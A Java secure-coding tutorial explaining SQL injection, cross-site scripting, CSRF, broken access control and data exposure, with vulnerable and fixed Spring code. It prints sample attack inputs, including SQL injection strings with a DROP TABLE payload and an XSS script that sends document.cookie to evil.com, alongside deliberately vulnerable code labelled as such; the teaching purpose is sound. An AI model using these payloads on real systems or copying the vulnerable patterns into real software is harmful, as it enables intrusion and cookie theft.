Common Vulnerabilities: Attack and Defence

Common Vulnerabilities: Attack and Defence in Java: Most breaches do not involve exotic cryptography.

Concept Explanation

Most breaches do not involve exotic cryptography. They exploit four or five well-known mistakes that appear again and again. Knowing them by name is most of the defence.


1. SQL Injection

The attack: user input is concatenated into a query, so the input becomes code.

// VULNERABLE
String sql = "SELECT * FROM users WHERE name = '" + input + "'";

With input = "x' OR '1'='1", the query returns every user. With "x'; DROP TABLE users; --", it is worse.

The fix is parameterisation — the driver sends data separately from the query:

PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM users WHERE name = ?");
ps.setString(1, input);          // treated strictly as a value

Spring Data derived queries and @Query with named parameters are parameterised for you. The danger is any place you build a query string by hand.


2. Cross-Site Scripting (XSS)

The attack: a user submits <script>fetch('//evil.com?c='+document.cookie)</script> as their display name. Every visitor who views it runs the script.

Defences:

  • Escape on output. Modern template engines (Thymeleaf) escape by default.
  • Mark cookies HttpOnly so JavaScript cannot read them.
  • Set a Content-Security-Policy header to block inline scripts.
  • Validate input as a second layer, never the only one.

3. Cross-Site Request Forgery (CSRF)

The attack: while you are logged into your bank, a malicious page silently submits a form to bank.com/transfer. Your cookie rides along, and the bank sees a legitimate request.

Spring Security enables CSRF protection by default for cookie-based sessions — the server issues a token that must accompany every state-changing request. Attackers cannot read it because of the same-origin policy.

// Safe to disable ONLY for a stateless token-authenticated API
http.csrf(csrf -> csrf.disable());

If you use session cookies, disabling CSRF is a real vulnerability, not a convenience.


4. Broken Access Control

The most common serious flaw. The endpoint checks that you are logged in, but not that the resource is yours:

// VULNERABLE — any logged-in user can read any order
@GetMapping("/orders/{id}")
public Order get(@PathVariable Long id) {
    return repo.findById(id).orElseThrow();
}
// Fixed — ownership is part of the query
@GetMapping("/orders/{id}")
public Order get(@PathVariable Long id, Principal principal) {
    return repo.findByIdAndOwnerUsername(id, principal.getName())
               .orElseThrow(() -> new OrderNotFoundException(id));
}

Method-level rules for role checks:

@PreAuthorize("hasRole('ADMIN')")
public void deleteUser(Long id) { ... }

5. Sensitive Data Exposure

log.info("Login attempt: {}", loginRequest);   // toString() may include the password

Audit what you log. Redact passwords, tokens, and card numbers. Set server.error.include-stacktrace=never in production.


Common Mistakes

  1. Client-side validation only: Anyone can bypass a browser with curl.
  2. Disabling CSRF without understanding why: Copy-pasted from a tutorial, shipped to production.
  3. Assuming authentication implies authorisation: "Logged in" is not "allowed".
  4. Outdated dependencies: Known CVEs in old libraries are the easiest way in.

Best Practices

  • Parameterise every query, without exception.
  • Scope every lookup to the current user rather than filtering after fetching.
  • Run mvn dependency-check or Dependabot in CI so vulnerable libraries surface early.
  • Least privilege: The app's database user should not be able to drop tables.
  • Hide stack traces in production and log them instead.

Practice Exercises

  1. The Injection: Build a deliberately vulnerable query in a local sandbox, break it with ' OR '1'='1, then fix it with a PreparedStatement.
  2. The Ownership Check: Take an endpoint that fetches by id alone and rewrite it to scope by the authenticated user.
  3. The Dependency Audit: Run a dependency vulnerability scan on a project and summarise the top three findings.